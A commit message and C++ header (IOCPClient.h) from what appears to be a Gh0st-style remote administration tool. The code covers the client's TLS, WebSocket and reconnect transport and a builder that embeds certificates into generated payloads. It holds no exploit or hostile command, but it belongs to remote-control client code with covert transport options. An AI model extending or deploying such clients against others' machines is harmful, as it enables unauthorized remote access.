When the server has TLS enabled, the builder can now bake its certificate into the client it produces, so a distributed client speaks TLS on its very first connection instead of waiting for the anchor to be pushed after a plaintext login. The dialog gets a checkbox (IDC_CHECK_TLS_ANCHOR) that is only enabled for payloads and protocols where an embedded anchor makes sense; the choice is remembered even when the control flips to disabled and back, so switching protocols cannot silently undo a deliberate opt-out. Every label variant stays short enough to fit the 196 DLU field, including the German ones. A template that predates the anchor block no longer aborts generation: it warns, clears the checkbox and produces a plain client, so a master upgraded without rebuilding the ghost/ServerDll resources does not block every build. The certificate lands in a fixed 4 KiB block (magic, version, length, FNV-1a hash, master address, PEM) carved out of the payload at build time. The client reads its trust anchor from four sources in order: the tls_disabled marker, the certificate the server pushed into the registry, a PEM file next to the executable, and finally the embedded block. The embedded block only applies to a connection whose target matches the master recorded at generation time, compared as an address set: an exact string match when only one address is configured, or an intersection of resolved IPv4 addresses otherwise. A transferred, shared or parallel instance falls back to the old plaintext first-connect path instead of pinning itself to a certificate it can never verify. That decision is made per connection, not per process: shared and parallel instances are threads inside a single client process, so a process-wide flag let whichever instance connected first decide for all of them, and the first load of the TLS state cached that answer for good. The TLS layer now keeps two cached states (embedded anchor allowed, and not allowed), picks one per handshake, and reports the anchor source of that handshake for the login capability bit. Matching by resolved address also keeps parallel mode working, where the connection goes to the single IP the domain pool selected while the configured master is a domain or a list. Server side, generated and updated payloads get the block written in place; the client reports the capability bit on login so the console can tell which hosts are already TLS-only on first connect. Loading the anchor decodes every PEM block in the chain rather than just the leaf, and an anchor that exists but fails to load keeps the old fail-closed behaviour. A pushed anchor only reconnects when the transport of the live connection actually changes, judged against that connection's own target rather than the process-wide switch. This was verified end to end against a freshly generated client with an empty registry: the first connection was a TLS 1.2 ClientHello 0.2 s after start, and a four-certificate fullchain loaded all four blocks. Re-verified after the per-connection rework with the anchor block patched into a debug client: with a matching master the first bytes are a ClientHello, with a foreign master the client logs the skip and sends plaintext, and a domain master resolves to the IP it connects to and still matches. A master domain that no longer resolves falls back to plaintext within a second and is not looked up again for a minute, instead of stalling every reconnect on a DNS timeout while holding the lock the certificate verification needs. Co-Authored-By: deepseek-flash
440 lines
16 KiB
C++
440 lines
16 KiB
C++
// IOCPClient.h: interface for the IOCPClient class.
|
||
//
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
#pragma once
|
||
|
||
#ifdef _WIN32
|
||
#include "stdafx.h"
|
||
#include <WinSock2.h>
|
||
#include <MSTcpIP.h>
|
||
#pragma comment(lib,"ws2_32.lib")
|
||
#endif
|
||
|
||
// TLS 通道:Windows 走 Schannel,Linux 走 OpenSSL;macOS/Android 下该头为空,
|
||
// 且不定义 YAMA_TLS_CHANNEL,下方代码自动退回明文。
|
||
#include "TlsChannel.h"
|
||
|
||
// WebSocket 传输(经反代 443 等受限端口接入)。头文件实现,各平台编译目标无需改动。
|
||
#include "WsChannel.h"
|
||
|
||
#include "Buffer.h"
|
||
#include "zstd/zstd.h"
|
||
#include "domain_pool.h"
|
||
#include "common/mask.h"
|
||
#include "common/header.h"
|
||
#define NO_AES
|
||
#include "common/encrypt.h"
|
||
#ifdef _WIN32
|
||
#include "SafeThread.h"
|
||
#else
|
||
#ifndef SAFE_DELETE
|
||
#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
|
||
#endif
|
||
#ifndef SAFE_DELETE_ARRAY
|
||
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
|
||
#endif
|
||
#include <sys/socket.h>
|
||
#include <netinet/in.h>
|
||
#endif
|
||
#include "IOCPBase.h"
|
||
#include <mutex>
|
||
#include <atomic>
|
||
#include <condition_variable>
|
||
#include <chrono>
|
||
|
||
#define MAX_RECV_BUFFER 1024*32
|
||
#define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率
|
||
|
||
enum { S_STOP = 0, S_RUN, S_END };
|
||
|
||
typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength);
|
||
|
||
typedef int (*OnDisconnectCB)(void* userData);
|
||
|
||
class ProtocolEncoder
|
||
{
|
||
public:
|
||
virtual ~ProtocolEncoder() {}
|
||
virtual HeaderFlag GetHead() const
|
||
{
|
||
return "Shine";
|
||
}
|
||
virtual int GetHeadLen() const
|
||
{
|
||
return 13;
|
||
}
|
||
virtual int GetFlagLen() const
|
||
{
|
||
return 5;
|
||
}
|
||
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {}
|
||
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {}
|
||
virtual EncFun GetHeaderEncoder() const
|
||
{
|
||
return nullptr;
|
||
}
|
||
};
|
||
|
||
class HellEncoder : public ProtocolEncoder
|
||
{
|
||
private:
|
||
EncFun m_HeaderEnc;
|
||
Encoder *m_BodyEnc;
|
||
public:
|
||
HellEncoder(EncFun head, Encoder *body)
|
||
{
|
||
m_HeaderEnc = head;
|
||
m_BodyEnc = body;
|
||
}
|
||
~HellEncoder()
|
||
{
|
||
SAFE_DELETE(m_BodyEnc);
|
||
}
|
||
virtual HeaderFlag GetHead() const override
|
||
{
|
||
return ::GetHead(m_HeaderEnc);
|
||
}
|
||
virtual int GetHeadLen() const override
|
||
{
|
||
return 16;
|
||
}
|
||
virtual int GetFlagLen() const override
|
||
{
|
||
return 8;
|
||
}
|
||
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) override
|
||
{
|
||
return m_BodyEnc->Encode(data, len, param);
|
||
}
|
||
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) override
|
||
{
|
||
return m_BodyEnc->Decode(data, len, param);
|
||
}
|
||
virtual EncFun GetHeaderEncoder() const override
|
||
{
|
||
return m_HeaderEnc;
|
||
}
|
||
};
|
||
|
||
class IOCPManager
|
||
{
|
||
public:
|
||
virtual ~IOCPManager() {}
|
||
virtual BOOL IsAlive() const
|
||
{
|
||
return TRUE;
|
||
}
|
||
virtual BOOL IsReady() const
|
||
{
|
||
return TRUE;
|
||
}
|
||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
|
||
|
||
// Tip: 在派生类实现该函数以便支持断线重连
|
||
virtual BOOL OnReconnect()
|
||
{
|
||
return FALSE;
|
||
}
|
||
|
||
static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||
{
|
||
IOCPManager* m_Manager = (IOCPManager*)user;
|
||
if (nullptr == m_Manager) {
|
||
Mprintf("IOCPManager DataProcess on NULL ptr: %d\n", unsigned(szBuffer[0]));
|
||
return FALSE;
|
||
}
|
||
// 等待子类准备就绪才能处理数据, 1秒足够了
|
||
int i = 0;
|
||
for (; i < 1000 && !m_Manager->IsReady(); ++i)
|
||
Sleep(1);
|
||
if (!m_Manager->IsReady()) {
|
||
Mprintf("IOCPManager DataProcess is NOT ready: %d\n", unsigned(szBuffer[0]));
|
||
return FALSE;
|
||
}
|
||
if (i) {
|
||
Mprintf("IOCPManager DataProcess wait for %dms: %d\n", i, unsigned(szBuffer[0]));
|
||
}
|
||
m_Manager->OnReceive(szBuffer, ulLength);
|
||
return TRUE;
|
||
}
|
||
static int ReconnectProcess(void* user)
|
||
{
|
||
IOCPManager* m_Manager = (IOCPManager*)user;
|
||
if (nullptr == m_Manager) {
|
||
return FALSE;
|
||
}
|
||
return m_Manager->OnReconnect();
|
||
}
|
||
};
|
||
|
||
typedef BOOL(*TrailCheck)(void);
|
||
|
||
class IOCPClient : public IOCPBase
|
||
{
|
||
public:
|
||
IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, CONNECT_ADDRESS *conn=0,
|
||
const std::string&pubIP="", void*main=0);
|
||
virtual ~IOCPClient();
|
||
|
||
int SendLoginInfo(const LOGIN_INFOR& logInfo)
|
||
{
|
||
LOGIN_INFOR tmp = logInfo;
|
||
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
|
||
|
||
return iRet;
|
||
}
|
||
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||
|
||
std::string GetClientIP() const
|
||
{
|
||
return m_sLocPublicIP;
|
||
}
|
||
|
||
std::map<std::string, std::string> GetClientIPHeader() const
|
||
{
|
||
return m_sLocPublicIP.empty() ? std::map<std::string, std::string> {} :
|
||
std::map<std::string, std::string> { {"X-Forwarded-For", m_sLocPublicIP} };
|
||
}
|
||
|
||
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask = NULL)
|
||
{
|
||
return OnServerSending(szBuffer, ulOriginalLength, mask);
|
||
}
|
||
|
||
void SetServerAddress(const char* szServerIP, unsigned short uPort)
|
||
{
|
||
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
|
||
m_nHostPort = uPort;
|
||
}
|
||
|
||
// 没有 conn 的构造路径(Linux / macOS / Android 的 main 都是 new IOCPClient(exit, false))
|
||
// 用它给出传输协议:直接取外壳注入的 CONNECT_ADDRESS.protoType。不调用则保持 -1,
|
||
// ConnectServer 按明文 TCP 直连——那正是「配置成 WS 却毫无反应」的来源,故三个平台
|
||
// 的 main 都要在进入重连循环前调一次。
|
||
void SetDefaultProto(int p) { m_defaultProto = p; }
|
||
|
||
std::string ServerIP() const
|
||
{
|
||
return m_sCurIP;
|
||
}
|
||
|
||
int ServerPort() const
|
||
{
|
||
return m_nHostPort;
|
||
}
|
||
|
||
BOOL IsRunning() const
|
||
{
|
||
return m_bIsRunning;
|
||
}
|
||
VOID StopRunning()
|
||
{
|
||
m_ReconnectFunc = NULL;
|
||
m_bIsRunning = FALSE;
|
||
}
|
||
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess, OnDisconnectCB reconnect);
|
||
VOID RunEventLoop(TrailCheck checker);
|
||
VOID RunEventLoop(const BOOL &bCondition);
|
||
bool IsConnected() const
|
||
{
|
||
return m_bConnected == TRUE;
|
||
}
|
||
BOOL Reconnect(void* manager)
|
||
{
|
||
Disconnect();
|
||
if (manager) m_Manager = manager;
|
||
return ConnectServer(NULL, 0);
|
||
}
|
||
const State& GetState() const
|
||
{
|
||
return g_bExit;
|
||
}
|
||
void SetMultiThreadCompress(int threadNum=0);
|
||
std::string GetClientID() const
|
||
{
|
||
return m_conn ? std::to_string(m_conn->clientID) : "";
|
||
}
|
||
std::string GetPublicIP() const
|
||
{
|
||
return m_sLocPublicIP;
|
||
}
|
||
CONNECT_ADDRESS* GetConnectionAddress() const
|
||
{
|
||
return m_conn;
|
||
}
|
||
IOCPManager* GetManager() const
|
||
{
|
||
return (IOCPManager*)m_Manager;
|
||
}
|
||
void* GetMain() const
|
||
{
|
||
return m_main;
|
||
}
|
||
void SetVerifyInfo(const std::string& msg, const std::string& hmac) {
|
||
m_LoginMsg = msg;
|
||
m_LoginSignature = hmac;
|
||
}
|
||
|
||
// 子连接身份校验:发 TOKEN_CONN_AUTH 包,等服务端 ConnAuthAck 响应。
|
||
// 返回 true 表示通过,false 表示超时/失败/网络错误。
|
||
// 主连接不调用此方法。新客户端必须调用并校验成功后才能继续后续命令。
|
||
// 已实现的协议扩展(如 KeyBoard 子连接的 cap word)保留不变,与本机制并行工作。
|
||
bool PerformConnAuth(uint64_t clientID, int timeoutMs);
|
||
|
||
// 让 ConnectServer 在每次成功后自动调一次 PerformConnAuth(opt-in)。
|
||
// 子连接构造后调用此方法启用。
|
||
// - clientID == 0:每次 auth 时从 m_conn->clientID 现取(Windows 客户端走此路径)。
|
||
// 这样即便 IOCPClient 创建时主连接还没拿到 ID,真正连上时也能用到最新值。
|
||
// - clientID != 0:显式指定(Linux/macOS 客户端 IOCPClient 不带 m_conn 时用此参数)。
|
||
void EnableSubConnAuth(bool enabled = true, uint64_t clientID = 0) {
|
||
m_subConnAuthEnabled = enabled;
|
||
m_subConnAuthClientID = clientID;
|
||
}
|
||
|
||
// 内部:在收到的数据帧分发到 manager 之前,尝试识别并消费 TOKEN_CONN_AUTH ack。
|
||
// 仅在我们正在等待 auth 响应时(m_authPending=true)才消费;否则透传给 manager。
|
||
bool TryHandleAuthResponse(PBYTE buf, ULONG len);
|
||
|
||
// 登录是否已被服务端接受。服务端把本机加入在线列表后立刻下发 CMD_MASTERSETTING
|
||
// (2015RemoteDlg.cpp::SendMasterSettings(ctx, ...) 的登录路径),客户端在这里置位。
|
||
// 协议切换用来判断「新入口真的登录成功」,而不是只看 IsConnected()——那只代表
|
||
// TCP/TLS/WS 握手完成,登录可能被丢弃(选错后端、反代指到别的 WS 服务)。
|
||
// 每次 ConnectServer 开始时清零,故它只描述当前这条连接。
|
||
void SetLoginAcked(bool v) { m_loginAcked.store(v, std::memory_order_release); }
|
||
bool IsLoginAcked() const { return m_loginAcked.load(std::memory_order_acquire); }
|
||
|
||
// 本连接是否真的走 TLS(ConnectServer 握手成功时锁定,见 m_useTls)。登录上报用它,
|
||
// 而不是再去看全局的 TlsEnabled()——UDP/KCP 客户端各自 override ConnectServer、完全
|
||
// 不含 TLS,PROTO_WS 是显式明文形态,只有这里才给得出如实答案。
|
||
#if defined(YAMA_TLS_CHANNEL)
|
||
bool IsTlsActive() const { return m_useTls.load(std::memory_order_acquire); }
|
||
// 本连接校验服务端证书时用的是不是「生成时内嵌的锚」。登录上报
|
||
// CLIENT_CAP_EMBEDDED_ANCHOR 用它:分享/并行实例连的是别的主控,本连接并不会用
|
||
// 内嵌锚,不能因为它进程里有锚块就声称「关服务端 TLS 会失联」。
|
||
bool IsTlsAnchorEmbedded() const
|
||
{
|
||
return m_useTls.load(std::memory_order_acquire) && m_tls.AnchorEmbedded();
|
||
}
|
||
// 按**本连接的目标**重算一次传输方式(信任锚热重载后由 KernelManager 调用)。
|
||
// 不能用进程级 TlsEnabled() 比较前后:分享/并行实例连的不是生成时那台主控,它实际
|
||
// 在走明文,而进程级开关(「允许内嵌锚」那套状态)仍报 true,会漏掉明文 → TLS 的切换。
|
||
bool TlsEnabledForCurrentTarget() const
|
||
{
|
||
return TlsEnabledFor(m_sCurIP, m_Domain.GetAddress());
|
||
}
|
||
#else
|
||
bool IsTlsActive() const { return false; }
|
||
bool IsTlsAnchorEmbedded() const { return false; }
|
||
bool TlsEnabledForCurrentTarget() const { return false; }
|
||
#endif
|
||
|
||
// 主动断开当前连接,关闭 socket。提到 public 让外层(如 Linux/macOS main 的心跳
|
||
// 循环检测到服务端身份校验超时)能在重连前显式关闭旧 fd,避免泄漏。
|
||
virtual VOID Disconnect(); // 函数支持 TCP/UDP
|
||
|
||
protected:
|
||
virtual int ReceiveData(char* buffer, int bufSize, int flags)
|
||
{
|
||
// WebSocket 传输:字节流在 WS 帧里,帧层自己处理 TLS(WSS)或裸 socket(WS)
|
||
if (m_useWs)
|
||
return m_ws.Recv(m_sClientSocket, buffer, bufSize - 1);
|
||
#ifdef YAMA_TLS_CHANNEL
|
||
if (m_useTls)
|
||
return m_tls.Recv(m_sClientSocket, buffer, bufSize - 1);
|
||
#endif
|
||
// TCP版本调用 recv
|
||
int n = recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||
return n;
|
||
}
|
||
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
|
||
virtual int SendTo(const char* buf, int len, int flags)
|
||
{
|
||
if (m_useWs)
|
||
return m_ws.Send(m_sClientSocket, buf, len);
|
||
#ifdef YAMA_TLS_CHANNEL
|
||
if (m_useTls)
|
||
return m_tls.Send(m_sClientSocket, buf, len);
|
||
#endif
|
||
return ::send(m_sClientSocket, buf, len, flags);
|
||
}
|
||
// TLS 会话里可能有已解密但尚未交付的明文(select 只能看到底层 socket 可读性,
|
||
// 看不到 TLS 库内部缓冲),接收线程在 select 前须优先消费,避免其被卡住。
|
||
// WebSocket 同理:已读进帧头、载荷还没交完的字节同样看不到。
|
||
bool HasPendingData() const
|
||
{
|
||
if (m_useWs)
|
||
return m_ws.HasPending();
|
||
#ifdef YAMA_TLS_CHANNEL
|
||
return m_useTls && m_tls.HasPending();
|
||
#else
|
||
return false;
|
||
#endif
|
||
}
|
||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
|
||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
|
||
BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask);
|
||
|
||
protected:
|
||
sockaddr_in m_ServerAddr;
|
||
SOCKET m_sClientSocket;
|
||
// WebSocket 传输(PROTO_WS / PROTO_WSS):ConnectServer 里握手成功时置位,
|
||
// Disconnect 时清除。与 m_useTls 一样按连接锁定,Send/Recv 不再现查 protoType。
|
||
WsChannel m_ws;
|
||
// 收发分处两个线程:连接线程写、接收/发送线程读。形式上必须是原子量(x86 上实践
|
||
// 无害,但换成别的架构就不能再依赖这个巧合)。
|
||
std::atomic<bool> m_useWs{false};
|
||
std::atomic<bool> m_loginAcked{false};
|
||
// m_conn 为空时的协议来源(见 SetDefaultProto)。-1 = 未设置,按明文 TCP 处理。
|
||
int m_defaultProto = -1;
|
||
#ifdef YAMA_TLS_CHANNEL
|
||
TlsChannel m_tls; // TLS 会话(证书存在时才启用,见 TlsChannel.h)
|
||
// 本连接是否走 TLS:在 ConnectServer 里握手成功时置位、Disconnect 时清除,Send/Recv
|
||
// 一律按这个快照走,不再每次现查 TlsEnabled()。Linux 客户端支持服务端下发后热切换
|
||
// 传输方式(TlsReload),若现查全局开关,切换后到重连完成之间的这一秒里会把明文塞进
|
||
// 已建立的 TLS 会话(或反过来),白白制造协议错误。
|
||
std::atomic<bool> m_useTls{false};
|
||
#endif
|
||
BOOL m_bWorkThread;
|
||
HANDLE m_hWorkThread;
|
||
BOOL m_bIsRunning;
|
||
BOOL m_bConnected;
|
||
|
||
std::mutex m_Locker;
|
||
|
||
// 子连接身份校验同步状态。仅在 PerformConnAuth 调用期间生效。
|
||
std::mutex m_authMtx;
|
||
std::condition_variable m_authCv;
|
||
int m_authStatus = -1; // -1 = 未启动;其它 = ConnAuthStatus
|
||
bool m_authPending = false; // true 时 TryHandleAuthResponse 才消费 ack
|
||
|
||
// ConnectServer 成功后自动 auth 的 opt-in 标志。子连接构造后调 EnableSubConnAuth() 设为 true。
|
||
bool m_subConnAuthEnabled = false;
|
||
uint64_t m_subConnAuthClientID = 0; // 0 表示从 m_conn->clientID 现取
|
||
#if USING_CTX
|
||
ZSTD_CCtx* m_Cctx; // 压缩上下文
|
||
ZSTD_DCtx* m_Dctx; // 解压上下文
|
||
#endif
|
||
|
||
const State& g_bExit; // 全局状态量
|
||
void* m_Manager; // 用户数据
|
||
DataProcessCB m_DataProcess; // 处理用户数据
|
||
OnDisconnectCB m_ReconnectFunc; // 断线重连逻辑
|
||
ProtocolEncoder* m_Encoder; // 加密
|
||
DomainPool m_Domain;
|
||
std::string m_sCurIP;
|
||
int m_nHostPort;
|
||
bool m_exit_while_disconnect;
|
||
PkgMask* m_masker;
|
||
BOOL m_EncoderType;
|
||
std::string m_sLocPublicIP;
|
||
CONNECT_ADDRESS *m_conn = NULL;
|
||
|
||
void *m_main = NULL;
|
||
public:
|
||
BOOL m_isAuth = FALSE;
|
||
std::string m_LoginMsg; // 登录消息摘要
|
||
std::string m_LoginSignature; // 登录消息签名
|
||
};
|